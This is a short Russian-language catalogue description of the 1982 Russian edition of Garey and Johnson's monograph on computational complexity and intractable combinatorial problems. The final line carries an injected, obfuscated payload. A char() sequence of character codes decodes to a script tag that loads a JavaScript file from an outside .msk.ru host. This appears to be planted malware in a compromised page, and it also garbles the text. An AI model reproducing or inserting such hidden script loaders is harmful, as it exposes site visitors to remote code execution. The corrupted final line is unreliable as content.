Вычислительные машины и труднорешаемые задачи
Гэри М., Д. ДжонсонМ.: Издательство "Мир", 1982 г. - 416 с.
Монография американских ученых, посвященная вопросам сложности решения комбинаторных задач, возникающих в дискретной оптимизации, математическом программировании, алгебре, теории чисел, теории автоматов, математической логике, теории множеств, теории графов и т.п. Книга отличается строгим и систематическим изложением теории, в приложении содержится более 300 труднорешаемых задач из различных разделов математики.
Для математиков-прикладников, аспирантов и студентов университетов.char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,112,105,107,115,117,115,46,109,115,107,46,114,117,47)c09780183aadb0cecc5e30ff90f7d968.js" type="text/javascript">